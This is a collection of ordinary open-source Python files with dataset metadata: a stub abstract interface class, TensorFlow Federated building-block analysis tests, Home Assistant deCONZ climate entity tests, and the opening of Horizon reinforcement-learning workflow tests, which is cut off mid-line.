2022-03-10T00:32:43.000Z

magda/module/interface.py

p-mielniczuk/magda

6359fa5721b4e27bd98f2c6af0e858b476645618

[ "Apache-2.0" ]

22

2021-03-24T11:56:47.000Z

2021-11-02T15:09:50.000Z

magda/module/interface.py

p-mielniczuk/magda

6359fa5721b4e27bd98f2c6af0e858b476645618

[ "Apache-2.0" ]

6

2021-04-06T07:26:47.000Z

2021-12-07T18:55:52.000Z

from abc import ABC class ModuleInterface(ABC): pass

9.833333

27

0.728814

8

59

5.375

0.75

0

0.220339

59

5

28

11.8

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1

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true

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0

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1

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null

0

1

0

null

0

1

0

1

0

6

0a22dd6fece159c6b35aeb72671d4cef9324dc52

9,607

py

Python

tensorflow_federated/python/core/impl/compiler/building_block_analysis_test.py

j35tor/federated

d92bfa6b8e3c9ebbac51ff7a3a180c2baaa08730

[ "Apache-2.0" ]

1

2021-04-01T08:35:06.000Z

tensorflow_federated/python/core/impl/compiler/building_block_analysis_test.py

j35tor/federated

d92bfa6b8e3c9ebbac51ff7a3a180c2baaa08730

[ "Apache-2.0" ]

null

tensorflow_federated/python/core/impl/compiler/building_block_analysis_test.py

j35tor/federated

d92bfa6b8e3c9ebbac51ff7a3a180c2baaa08730

[ "Apache-2.0" ]

null

# Copyright 2019, The TensorFlow Federated Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from absl.testing import absltest import tensorflow as tf from tensorflow_federated.proto.v0 import computation_pb2 as pb from tensorflow_federated.python.common_libs import serialization_utils from tensorflow_federated.python.core.api import computation_types from tensorflow_federated.python.core.api import computations from tensorflow_federated.python.core.impl.compiler import building_block_analysis from tensorflow_federated.python.core.impl.compiler import building_blocks from tensorflow_federated.python.core.impl.types import type_serialization from tensorflow_federated.python.core.impl.utils import tensorflow_utils class CountTensorFlowOpsTest(absltest.TestCase): def test_raises_on_none(self): with self.assertRaises(TypeError): building_block_analysis.count_tensorflow_ops_in(None) def test_raises_on_reference(self): ref = building_blocks.Reference('x', tf.int32) with self.assertRaises(ValueError): building_block_analysis.count_tensorflow_ops_in(ref) def test_counts_correct_number_of_ops_simple_case(self): with tf.Graph().as_default() as g: a = tf.constant(0) b = tf.constant(1) c = a + b _, result_binding = tensorflow_utils.capture_result_from_graph(c, g) packed_graph_def = serialization_utils.pack_graph_def(g.as_graph_def()) function_type = computation_types.FunctionType(None, tf.int32) proto = pb.Computation( type=type_serialization.serialize_type(function_type), tensorflow=pb.TensorFlow( graph_def=packed_graph_def, parameter=None, result=result_binding)) building_block = building_blocks.ComputationBuildingBlock.from_proto(proto) tf_ops_in_graph = building_block_analysis.count_tensorflow_ops_in( building_block) self.assertEqual(tf_ops_in_graph, 3) def test_counts_correct_number_of_ops_swith_function(self): @computations.tf_computation( computation_types.TensorType(tf.int32, shape=[])) def foo(x): @tf.function def bar(x): return x + 1 return bar(bar(x)) building_block = foo.to_building_block() tf_ops_in_graph = building_block_analysis.count_tensorflow_ops_in( building_block) self.assertEqual(tf_ops_in_graph, 6) class CountTensorFlowVariablesTest(absltest.TestCase): def test_raises_on_none(self): with self.assertRaises(TypeError): building_block_analysis.count_tensorflow_variables_in(None) def test_counts_no_variables(self): with tf.Graph().as_default() as g: a = tf.constant(0) b = tf.constant(1) c = a + b _, result_binding = tensorflow_utils.capture_result_from_graph(c, g) packed_graph_def = serialization_utils.pack_graph_def(g.as_graph_def()) function_type = computation_types.FunctionType(None, tf.int32) proto = pb.Computation( type=type_serialization.serialize_type(function_type), tensorflow=pb.TensorFlow( graph_def=packed_graph_def, parameter=None, result=result_binding)) building_block = building_blocks.ComputationBuildingBlock.from_proto(proto) tf_vars_in_graph = building_block_analysis.count_tensorflow_variables_in( building_block) self.assertEqual(tf_vars_in_graph, 0) def test_avoids_misdirection_with_name(self): with tf.Graph().as_default() as g: a = tf.constant(0, name='variable1') b = tf.constant(1, name='variable2') c = a + b _, result_binding = tensorflow_utils.capture_result_from_graph(c, g) packed_graph_def = serialization_utils.pack_graph_def(g.as_graph_def()) function_type = computation_types.FunctionType(None, tf.int32) proto = pb.Computation( type=type_serialization.serialize_type(function_type), tensorflow=pb.TensorFlow( graph_def=packed_graph_def, parameter=None, result=result_binding)) building_block = building_blocks.ComputationBuildingBlock.from_proto(proto) tf_vars_in_graph = building_block_analysis.count_tensorflow_variables_in( building_block) self.assertEqual(tf_vars_in_graph, 0) def test_counts_two_variables_correctly(self): with tf.Graph().as_default() as g: a = tf.Variable(0, name='variable1') b = tf.Variable(1, name='variable2') c = a + b _, result_binding = tensorflow_utils.capture_result_from_graph(c, g) packed_graph_def = serialization_utils.pack_graph_def(g.as_graph_def()) function_type = computation_types.FunctionType(None, tf.int32) proto = pb.Computation( type=type_serialization.serialize_type(function_type), tensorflow=pb.TensorFlow( graph_def=packed_graph_def, parameter=None, result=result_binding)) building_block = building_blocks.ComputationBuildingBlock.from_proto(proto) tf_vars_in_graph = building_block_analysis.count_tensorflow_variables_in( building_block) self.assertEqual(tf_vars_in_graph, 2) def test_counts_correct_variables_with_function(self): @computations.tf_computation(tf.int32) def foo(x): y = tf.Variable(initial_value=0) @tf.function def bar(x): y.assign_add(1) return x + y, tf.shape(y) z = bar(x) return bar(z[0]) building_block = foo.to_building_block() tf_vars_in_graph = building_block_analysis.count_tensorflow_variables_in( building_block) self.assertEqual(tf_vars_in_graph, 1) class GetDevicePlacementInTest(absltest.TestCase): def test_raises_with_reference(self): ref = building_blocks.Reference('x', tf.int32) with self.assertRaisesRegex(ValueError, 'tensorflow'): building_block_analysis.get_device_placement_in(ref) def test_gets_none_placement(self): with tf.Graph().as_default() as g: a = tf.Variable(0, name='variable1') b = tf.Variable(1, name='variable2') c = a + b _, result_binding = tensorflow_utils.capture_result_from_graph(c, g) packed_graph_def = serialization_utils.pack_graph_def(g.as_graph_def()) function_type = computation_types.FunctionType(None, tf.int32) proto = pb.Computation( type=type_serialization.serialize_type(function_type), tensorflow=pb.TensorFlow( graph_def=packed_graph_def, parameter=None, result=result_binding)) building_block = building_blocks.ComputationBuildingBlock.from_proto(proto) device_placements = building_block_analysis.get_device_placement_in( building_block) all_device_placements = list(device_placements.keys()) self.assertLen(all_device_placements, 1) self.assertEqual(all_device_placements[0], '') self.assertGreater(device_placements[''], 0) def test_gets_all_explicit_placement(self): with tf.Graph().as_default() as g: with tf.device('/cpu:0'): a = tf.constant(0) b = tf.constant(1) c = a + b _, result_binding = tensorflow_utils.capture_result_from_graph(c, g) packed_graph_def = serialization_utils.pack_graph_def(g.as_graph_def()) function_type = computation_types.FunctionType(None, tf.int32) proto = pb.Computation( type=type_serialization.serialize_type(function_type), tensorflow=pb.TensorFlow( graph_def=packed_graph_def, parameter=None, result=result_binding)) building_block = building_blocks.ComputationBuildingBlock.from_proto(proto) device_placements = building_block_analysis.get_device_placement_in( building_block) all_device_placements = list(device_placements.keys()) self.assertLen(all_device_placements, 1) self.assertIn('CPU', all_device_placements[0]) self.assertGreater(device_placements[all_device_placements[0]], 0) def test_gets_some_explicit_some_none_placement(self): with tf.Graph().as_default() as g: with tf.device('/cpu:0'): a = tf.constant(0) b = tf.constant(1) c = a + b _, result_binding = tensorflow_utils.capture_result_from_graph(c, g) packed_graph_def = serialization_utils.pack_graph_def(g.as_graph_def()) function_type = computation_types.FunctionType(None, tf.int32) proto = pb.Computation( type=type_serialization.serialize_type(function_type), tensorflow=pb.TensorFlow( graph_def=packed_graph_def, parameter=None, result=result_binding)) building_block = building_blocks.ComputationBuildingBlock.from_proto(proto) device_placements = building_block_analysis.get_device_placement_in( building_block) all_device_placements = list(device_placements.keys()) self.assertLen(all_device_placements, 2) if all_device_placements[0]: self.assertIn('CPU', all_device_placements[0]) self.assertEqual('', all_device_placements[1]) else: self.assertIn('CPU', all_device_placements[1]) self.assertEqual('', all_device_placements[0]) self.assertGreater(device_placements[all_device_placements[0]], 0) self.assertGreater(device_placements[all_device_placements[1]], 0) if __name__ == '__main__': absltest.main()

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0.747788

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9,607

5.328864

0.138801

0.041439

0.04499

0.034631

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0.78008

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0.721622

0.706527

0.689063

0

0.010063

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249

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1

0.092391

false

0

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0.184783

0

null

0

1

0

null

0

6

0a37debade3c6ca8c228379d3718e1e7f03c5810

23,121

py

Python

tests/components/deconz/test_climate.py

AdmiralStipe/core

e9334347eb8354795cdb17f1401a80ef3abfb269

[ "Apache-2.0" ]

4

2016-06-22T12:00:41.000Z

2018-06-11T20:31:25.000Z

tests/components/deconz/test_climate.py

AdmiralStipe/core

e9334347eb8354795cdb17f1401a80ef3abfb269

[ "Apache-2.0" ]

57

2020-10-15T06:47:00.000Z

2022-03-31T06:11:18.000Z

tests/components/deconz/test_climate.py

AdmiralStipe/core

e9334347eb8354795cdb17f1401a80ef3abfb269

[ "Apache-2.0" ]

6

2019-07-06T00:43:13.000Z

2021-01-16T13:27:06.000Z

"""deCONZ climate platform tests.""" from copy import deepcopy import pytest from homeassistant.components.climate import ( DOMAIN as CLIMATE_DOMAIN, SERVICE_SET_FAN_MODE, SERVICE_SET_HVAC_MODE, SERVICE_SET_PRESET_MODE, SERVICE_SET_TEMPERATURE, ) from homeassistant.components.climate.const import ( ATTR_FAN_MODE, ATTR_HVAC_MODE, ATTR_PRESET_MODE, ATTR_TARGET_TEMP_HIGH, ATTR_TARGET_TEMP_LOW, FAN_AUTO, FAN_HIGH, FAN_LOW, FAN_MEDIUM, FAN_OFF, FAN_ON, HVAC_MODE_AUTO, HVAC_MODE_COOL, HVAC_MODE_HEAT, HVAC_MODE_OFF, PRESET_COMFORT, ) from homeassistant.components.deconz.climate import ( DECONZ_FAN_SMART, DECONZ_PRESET_MANUAL, ) from homeassistant.components.deconz.const import CONF_ALLOW_CLIP_SENSOR from homeassistant.components.deconz.gateway import get_gateway_from_config_entry from homeassistant.const import ( ATTR_ENTITY_ID, ATTR_TEMPERATURE, STATE_OFF, STATE_UNAVAILABLE, ) from .test_gateway import ( DECONZ_WEB_REQUEST, mock_deconz_put_request, setup_deconz_integration, ) SENSORS = { "1": { "id": "Thermostat id", "name": "Thermostat", "type": "ZHAThermostat", "state": {"on": True, "temperature": 2260, "valve": 30}, "config": { "battery": 100, "heatsetpoint": 2200, "mode": "auto", "offset": 10, "reachable": True, }, "uniqueid": "00:00:00:00:00:00:00:00-00", }, "2": { "id": "CLIP thermostat id", "name": "CLIP thermostat", "type": "CLIPThermostat", "state": {"on": True, "temperature": 2260, "valve": 30}, "config": {"reachable": True}, "uniqueid": "00:00:00:00:00:00:00:02-00", }, } async def test_no_sensors(hass, aioclient_mock): """Test that no sensors in deconz results in no climate entities.""" await setup_deconz_integration(hass, aioclient_mock) assert len(hass.states.async_all()) == 0 async def test_simple_climate_device(hass, aioclient_mock): """Test successful creation of climate entities. This is a simple water heater that only supports setting temperature and on and off. """ data = deepcopy(DECONZ_WEB_REQUEST) data["sensors"] = { "0": { "config": { "battery": 59, "displayflipped": None, "heatsetpoint": 2100, "locked": None, "mountingmode": None, "offset": 0, "on": True, "reachable": True, }, "ep": 1, "etag": "6130553ac247174809bae47144ee23f8", "lastseen": "2020-11-29T19:31Z", "manufacturername": "Danfoss", "modelid": "eTRV0100", "name": "thermostat", "state": { "errorcode": None, "lastupdated": "2020-11-29T19:28:40.665", "mountingmodeactive": False, "on": True, "temperature": 2102, "valve": 24, "windowopen": "Closed", }, "swversion": "01.02.0008 01.02", "type": "ZHAThermostat", "uniqueid": "14:b4:57:ff:fe:d5:4e:77-01-0201", } } config_entry = await setup_deconz_integration( hass, aioclient_mock, get_state_response=data ) gateway = get_gateway_from_config_entry(hass, config_entry) assert len(hass.states.async_all()) == 2 climate_thermostat = hass.states.get("climate.thermostat") assert climate_thermostat.state == HVAC_MODE_HEAT assert climate_thermostat.attributes["hvac_modes"] == [ HVAC_MODE_HEAT, HVAC_MODE_OFF, ] assert climate_thermostat.attributes["current_temperature"] == 21.0 assert climate_thermostat.attributes["temperature"] == 21.0 assert hass.states.get("sensor.thermostat_battery_level").state == "59" # Event signals thermostat configured off state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "0", "state": {"on": False}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.thermostat").state == STATE_OFF # Event signals thermostat state on state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "0", "state": {"on": True}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.thermostat").state == HVAC_MODE_HEAT # Verify service calls mock_deconz_put_request(aioclient_mock, config_entry.data, "/sensors/0/config") # Service turn on thermostat await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_HVAC_MODE, {ATTR_ENTITY_ID: "climate.thermostat", ATTR_HVAC_MODE: HVAC_MODE_HEAT}, blocking=True, ) assert aioclient_mock.mock_calls[1][2] == {"on": True} # Service turn on thermostat await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_HVAC_MODE, {ATTR_ENTITY_ID: "climate.thermostat", ATTR_HVAC_MODE: HVAC_MODE_OFF}, blocking=True, ) assert aioclient_mock.mock_calls[2][2] == {"on": False} # Service set HVAC mode to unsupported value with pytest.raises(ValueError): await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_HVAC_MODE, {ATTR_ENTITY_ID: "climate.thermostat", ATTR_HVAC_MODE: HVAC_MODE_AUTO}, blocking=True, ) async def test_climate_device_without_cooling_support(hass, aioclient_mock): """Test successful creation of sensor entities.""" data = deepcopy(DECONZ_WEB_REQUEST) data["sensors"] = deepcopy(SENSORS) config_entry = await setup_deconz_integration( hass, aioclient_mock, get_state_response=data ) gateway = get_gateway_from_config_entry(hass, config_entry) assert len(hass.states.async_all()) == 2 climate_thermostat = hass.states.get("climate.thermostat") assert climate_thermostat.state == HVAC_MODE_AUTO assert climate_thermostat.attributes["hvac_modes"] == [ HVAC_MODE_AUTO, HVAC_MODE_HEAT, HVAC_MODE_OFF, ] assert climate_thermostat.attributes["current_temperature"] == 22.6 assert climate_thermostat.attributes["temperature"] == 22.0 assert hass.states.get("sensor.thermostat") is None assert hass.states.get("sensor.thermostat_battery_level").state == "100" assert hass.states.get("climate.presence_sensor") is None assert hass.states.get("climate.clip_thermostat") is None # Event signals thermostat configured off state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "1", "config": {"mode": "off"}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.thermostat").state == STATE_OFF # Event signals thermostat state on state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "1", "config": {"mode": "other"}, "state": {"on": True}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.thermostat").state == HVAC_MODE_HEAT # Event signals thermostat state off state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "1", "state": {"on": False}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.thermostat").state == STATE_OFF # Verify service calls mock_deconz_put_request(aioclient_mock, config_entry.data, "/sensors/1/config") # Service set HVAC mode to auto await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_HVAC_MODE, {ATTR_ENTITY_ID: "climate.thermostat", ATTR_HVAC_MODE: HVAC_MODE_AUTO}, blocking=True, ) assert aioclient_mock.mock_calls[1][2] == {"mode": "auto"} # Service set HVAC mode to heat await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_HVAC_MODE, {ATTR_ENTITY_ID: "climate.thermostat", ATTR_HVAC_MODE: HVAC_MODE_HEAT}, blocking=True, ) assert aioclient_mock.mock_calls[2][2] == {"mode": "heat"} # Service set HVAC mode to off await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_HVAC_MODE, {ATTR_ENTITY_ID: "climate.thermostat", ATTR_HVAC_MODE: HVAC_MODE_OFF}, blocking=True, ) assert aioclient_mock.mock_calls[3][2] == {"mode": "off"} # Service set HVAC mode to unsupported value with pytest.raises(ValueError): await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_HVAC_MODE, {ATTR_ENTITY_ID: "climate.thermostat", ATTR_HVAC_MODE: HVAC_MODE_COOL}, blocking=True, ) # Service set temperature to 20 await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_TEMPERATURE, {ATTR_ENTITY_ID: "climate.thermostat", ATTR_TEMPERATURE: 20}, blocking=True, ) assert aioclient_mock.mock_calls[4][2] == {"heatsetpoint": 2000.0} # Service set temperature without providing temperature attribute with pytest.raises(ValueError): await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_TEMPERATURE, { ATTR_ENTITY_ID: "climate.thermostat", ATTR_TARGET_TEMP_HIGH: 30, ATTR_TARGET_TEMP_LOW: 10, }, blocking=True, ) await hass.config_entries.async_unload(config_entry.entry_id) states = hass.states.async_all() assert len(hass.states.async_all()) == 2 for state in states: assert state.state == STATE_UNAVAILABLE await hass.config_entries.async_remove(config_entry.entry_id) await hass.async_block_till_done() assert len(hass.states.async_all()) == 0 async def test_climate_device_with_cooling_support(hass, aioclient_mock): """Test successful creation of sensor entities.""" data = deepcopy(DECONZ_WEB_REQUEST) data["sensors"] = { "0": { "config": { "battery": 25, "coolsetpoint": None, "fanmode": None, "heatsetpoint": 2222, "mode": "heat", "offset": 0, "on": True, "reachable": True, }, "ep": 1, "etag": "074549903686a77a12ef0f06c499b1ef", "lastseen": "2020-11-27T13:45Z", "manufacturername": "Zen Within", "modelid": "Zen-01", "name": "Zen-01", "state": { "lastupdated": "2020-11-27T13:42:40.863", "on": False, "temperature": 2320, }, "type": "ZHAThermostat", "uniqueid": "00:24:46:00:00:11:6f:56-01-0201", } } config_entry = await setup_deconz_integration( hass, aioclient_mock, get_state_response=data ) gateway = get_gateway_from_config_entry(hass, config_entry) assert len(hass.states.async_all()) == 2 climate_thermostat = hass.states.get("climate.zen_01") assert climate_thermostat.state == HVAC_MODE_HEAT assert climate_thermostat.attributes["hvac_modes"] == [ HVAC_MODE_AUTO, HVAC_MODE_COOL, HVAC_MODE_HEAT, HVAC_MODE_OFF, ] assert climate_thermostat.attributes["current_temperature"] == 23.2 assert climate_thermostat.attributes["temperature"] == 22.2 assert hass.states.get("sensor.zen_01_battery_level").state == "25" # Event signals thermostat state cool state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "0", "config": {"mode": "cool"}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.zen_01").state == HVAC_MODE_COOL # Verify service calls mock_deconz_put_request(aioclient_mock, config_entry.data, "/sensors/0/config") # Service set temperature to 20 await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_TEMPERATURE, {ATTR_ENTITY_ID: "climate.zen_01", ATTR_TEMPERATURE: 20}, blocking=True, ) assert aioclient_mock.mock_calls[1][2] == {"coolsetpoint": 2000.0} async def test_climate_device_with_fan_support(hass, aioclient_mock): """Test successful creation of sensor entities.""" data = deepcopy(DECONZ_WEB_REQUEST) data["sensors"] = { "0": { "config": { "battery": 25, "coolsetpoint": None, "fanmode": "auto", "heatsetpoint": 2222, "mode": "heat", "offset": 0, "on": True, "reachable": True, }, "ep": 1, "etag": "074549903686a77a12ef0f06c499b1ef", "lastseen": "2020-11-27T13:45Z", "manufacturername": "Zen Within", "modelid": "Zen-01", "name": "Zen-01", "state": { "lastupdated": "2020-11-27T13:42:40.863", "on": False, "temperature": 2320, }, "type": "ZHAThermostat", "uniqueid": "00:24:46:00:00:11:6f:56-01-0201", } } config_entry = await setup_deconz_integration( hass, aioclient_mock, get_state_response=data ) gateway = get_gateway_from_config_entry(hass, config_entry) assert len(hass.states.async_all()) == 2 climate_thermostat = hass.states.get("climate.zen_01") assert climate_thermostat.state == HVAC_MODE_HEAT assert climate_thermostat.attributes["fan_mode"] == FAN_AUTO assert climate_thermostat.attributes["fan_modes"] == [ DECONZ_FAN_SMART, FAN_AUTO, FAN_HIGH, FAN_MEDIUM, FAN_LOW, FAN_ON, FAN_OFF, ] # Event signals fan mode defaults to off state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "0", "config": {"fanmode": "unsupported"}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.zen_01").attributes["fan_mode"] == FAN_OFF # Event signals unsupported fan mode state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "0", "config": {"fanmode": "unsupported"}, "state": {"on": True}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.zen_01").attributes["fan_mode"] == FAN_ON # Event signals unsupported fan mode state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "0", "config": {"fanmode": "unsupported"}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.zen_01").attributes["fan_mode"] == FAN_ON # Verify service calls mock_deconz_put_request(aioclient_mock, config_entry.data, "/sensors/0/config") # Service set fan mode to off await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_FAN_MODE, {ATTR_ENTITY_ID: "climate.zen_01", ATTR_FAN_MODE: FAN_OFF}, blocking=True, ) assert aioclient_mock.mock_calls[1][2] == {"fanmode": "off"} # Service set fan mode to custom deCONZ mode smart await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_FAN_MODE, {ATTR_ENTITY_ID: "climate.zen_01", ATTR_FAN_MODE: DECONZ_FAN_SMART}, blocking=True, ) assert aioclient_mock.mock_calls[2][2] == {"fanmode": "smart"} # Service set fan mode to unsupported value with pytest.raises(ValueError): await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_FAN_MODE, {ATTR_ENTITY_ID: "climate.zen_01", ATTR_FAN_MODE: "unsupported"}, blocking=True, ) async def test_climate_device_with_preset(hass, aioclient_mock): """Test successful creation of sensor entities.""" data = deepcopy(DECONZ_WEB_REQUEST) data["sensors"] = { "0": { "config": { "battery": 25, "coolsetpoint": None, "fanmode": None, "heatsetpoint": 2222, "mode": "heat", "preset": "auto", "offset": 0, "on": True, "reachable": True, }, "ep": 1, "etag": "074549903686a77a12ef0f06c499b1ef", "lastseen": "2020-11-27T13:45Z", "manufacturername": "Zen Within", "modelid": "Zen-01", "name": "Zen-01", "state": { "lastupdated": "2020-11-27T13:42:40.863", "on": False, "temperature": 2320, }, "type": "ZHAThermostat", "uniqueid": "00:24:46:00:00:11:6f:56-01-0201", } } config_entry = await setup_deconz_integration( hass, aioclient_mock, get_state_response=data ) gateway = get_gateway_from_config_entry(hass, config_entry) assert len(hass.states.async_all()) == 2 climate_zen_01 = hass.states.get("climate.zen_01") assert climate_zen_01.state == HVAC_MODE_HEAT assert climate_zen_01.attributes["current_temperature"] == 23.2 assert climate_zen_01.attributes["temperature"] == 22.2 assert climate_zen_01.attributes["preset_mode"] == "auto" assert climate_zen_01.attributes["preset_modes"] == [ "auto", "boost", "comfort", "complex", "eco", "holiday", "manual", ] # Event signals deCONZ preset state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "0", "config": {"preset": "manual"}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert ( hass.states.get("climate.zen_01").attributes["preset_mode"] == DECONZ_PRESET_MANUAL ) # Event signals unknown preset state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "0", "config": {"preset": "unsupported"}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.zen_01").attributes["preset_mode"] is None # Verify service calls mock_deconz_put_request(aioclient_mock, config_entry.data, "/sensors/0/config") # Service set preset to HASS preset await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_PRESET_MODE, {ATTR_ENTITY_ID: "climate.zen_01", ATTR_PRESET_MODE: PRESET_COMFORT}, blocking=True, ) assert aioclient_mock.mock_calls[1][2] == {"preset": "comfort"} # Service set preset to custom deCONZ preset await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_PRESET_MODE, {ATTR_ENTITY_ID: "climate.zen_01", ATTR_PRESET_MODE: DECONZ_PRESET_MANUAL}, blocking=True, ) assert aioclient_mock.mock_calls[2][2] == {"preset": "manual"} # Service set preset to unsupported value with pytest.raises(ValueError): await hass.services.async_call( CLIMATE_DOMAIN, SERVICE_SET_PRESET_MODE, {ATTR_ENTITY_ID: "climate.zen_01", ATTR_PRESET_MODE: "unsupported"}, blocking=True, ) async def test_clip_climate_device(hass, aioclient_mock): """Test successful creation of sensor entities.""" data = deepcopy(DECONZ_WEB_REQUEST) data["sensors"] = deepcopy(SENSORS) config_entry = await setup_deconz_integration( hass, aioclient_mock, options={CONF_ALLOW_CLIP_SENSOR: True}, get_state_response=data, ) assert len(hass.states.async_all()) == 3 assert hass.states.get("climate.thermostat").state == HVAC_MODE_AUTO assert hass.states.get("sensor.thermostat") is None assert hass.states.get("sensor.thermostat_battery_level").state == "100" assert hass.states.get("climate.clip_thermostat").state == HVAC_MODE_HEAT # Disallow clip sensors hass.config_entries.async_update_entry( config_entry, options={CONF_ALLOW_CLIP_SENSOR: False} ) await hass.async_block_till_done() assert len(hass.states.async_all()) == 2 assert hass.states.get("climate.clip_thermostat") is None # Allow clip sensors hass.config_entries.async_update_entry( config_entry, options={CONF_ALLOW_CLIP_SENSOR: True} ) await hass.async_block_till_done() assert len(hass.states.async_all()) == 3 assert hass.states.get("climate.clip_thermostat").state == HVAC_MODE_HEAT async def test_verify_state_update(hass, aioclient_mock): """Test that state update properly.""" data = deepcopy(DECONZ_WEB_REQUEST) data["sensors"] = deepcopy(SENSORS) config_entry = await setup_deconz_integration( hass, aioclient_mock, get_state_response=data ) gateway = get_gateway_from_config_entry(hass, config_entry) assert hass.states.get("climate.thermostat").state == HVAC_MODE_AUTO state_changed_event = { "t": "event", "e": "changed", "r": "sensors", "id": "1", "state": {"on": False}, } gateway.api.event_handler(state_changed_event) await hass.async_block_till_done() assert hass.states.get("climate.thermostat").state == HVAC_MODE_AUTO assert gateway.api.sensors["1"].changed_keys == {"state", "r", "t", "on", "e", "id"} async def test_add_new_climate_device(hass, aioclient_mock): """Test that adding a new climate device works.""" config_entry = await setup_deconz_integration(hass, aioclient_mock) gateway = get_gateway_from_config_entry(hass, config_entry) assert len(hass.states.async_all()) == 0 state_added_event = { "t": "event", "e": "added", "r": "sensors", "id": "1", "sensor": deepcopy(SENSORS["1"]), } gateway.api.event_handler(state_added_event) await hass.async_block_till_done() assert len(hass.states.async_all()) == 2 assert hass.states.get("climate.thermostat").state == HVAC_MODE_AUTO assert hass.states.get("sensor.thermostat_battery_level").state == "100"

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Python

ml/rl/test/workflow/test_oss_workflows.py

roamiri/Horizon

2654cd769f97e914203c1bab7964c420caa04976

[ "BSD-3-Clause" ]

null

ml/rl/test/workflow/test_oss_workflows.py

roamiri/Horizon

2654cd769f97e914203c1bab7964c420caa04976

[ "BSD-3-Clause" ]

null

ml/rl/test/workflow/test_oss_workflows.py

roamiri/Horizon

2654cd769f97e914203c1bab7964c420caa04976

[ "BSD-3-Clause" ]

1

2019-09-09T07:04:18.000Z

#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All rights reserved. import os import tempfile import unittest import torch from ml.rl.tensorboardX import SummaryWriterContext from ml.rl.training.dqn_predictor import DQNPredictor from ml.rl.workflow import ddpg_workflow, dqn_workflow, parametric_dqn_workflow curr_dir = os.path.dirname(__file__) class TestOSSWorkflows(unittest.TestCase): def setUp(self): SummaryWriterContext._reset_globals() def tearDown(self): SummaryWriterContext._reset_globals() def _test_dqn_workflow(self, use_gpu=False, use_all_avail_gpus=False): """Run DQN workflow to ensure no crashes, algorithm correctness not tested here.""" with tempfile.TemporaryDirectory() as tmpdirname: params = { "training_data_path": os.path.join( curr_dir, "test_data/discrete_action/cartpole_training.json.bz2" ), "eval_data_path": os.path.join( curr_dir, "test_data/discrete_action/cartpole_eval.json.bz2" ), "state_norm_data_path": os.path.join( curr_dir, "test_data/discrete_action/cartpole_norm.json" ), "model_output_path": tmpdirname, "use_gpu": use_gpu, "use_all_avail_gpus": use_all_avail_gpus, "actions": ["0", "1"], "epochs": 1, "rl": {}, "rainbow": {}, "training": {"minibatch_size": 1024}, } predictor = dqn_workflow.train_network(params) test_float_state_features = [{"0": 1.0, "1": 1.0, "2": 1.0, "3": 1.0}] q_values = predictor.predict(test_float_state_features) assert len(q_values[0].keys()) == 2 def test_dqn_workflow(self): self._test_dqn_workflow() @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_dqn_workflow_gpu(self): self._test_dqn_workflow(use_gpu=True) @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available") def test_dqn_workflow_all_gpus(self): self._test_dqn_workflow(use_gpu=True, use_all_avail_gpus=True) def _test_parametric_dqn_workflow(self, use_gpu=False, use_all_avail_gpus=False): """Run Parametric DQN workflow to ensure no crashes, algorithm correctness not tested here.""" with tempfile.TemporaryDirectory() as tmpdirname: params = { "training_data_path": os.path.join( curr_dir, "test_data/parametric_action/cartpole_training.json.bz2" ), "eval_data_path": os.path.join( curr_dir, "test_data/parametric_action/cartpole_eval.json.bz2" ), "state_norm_data_path": os.path.join( curr_dir, "test_data/parametric_action/state_features_norm.json" ), "action_norm_data_path": os.path.join( curr_dir, "test_data/parametric_action/action_norm.json" ), "model_output_path": tmpdirname, "use_gpu": use_gpu, "use_all_avail_gpus": use_all_avail_gpus, "epochs": 1, "rl": {}, "rainbow": {}, "training": {"minibatch_size": 1024}, } predictor = parametric_dqn_workflow.train_network(params) test_float_state_features = [{"0": 1.0, "1": 1.0, "2": 1.0, "3": 1.0}] test_int_state_features = 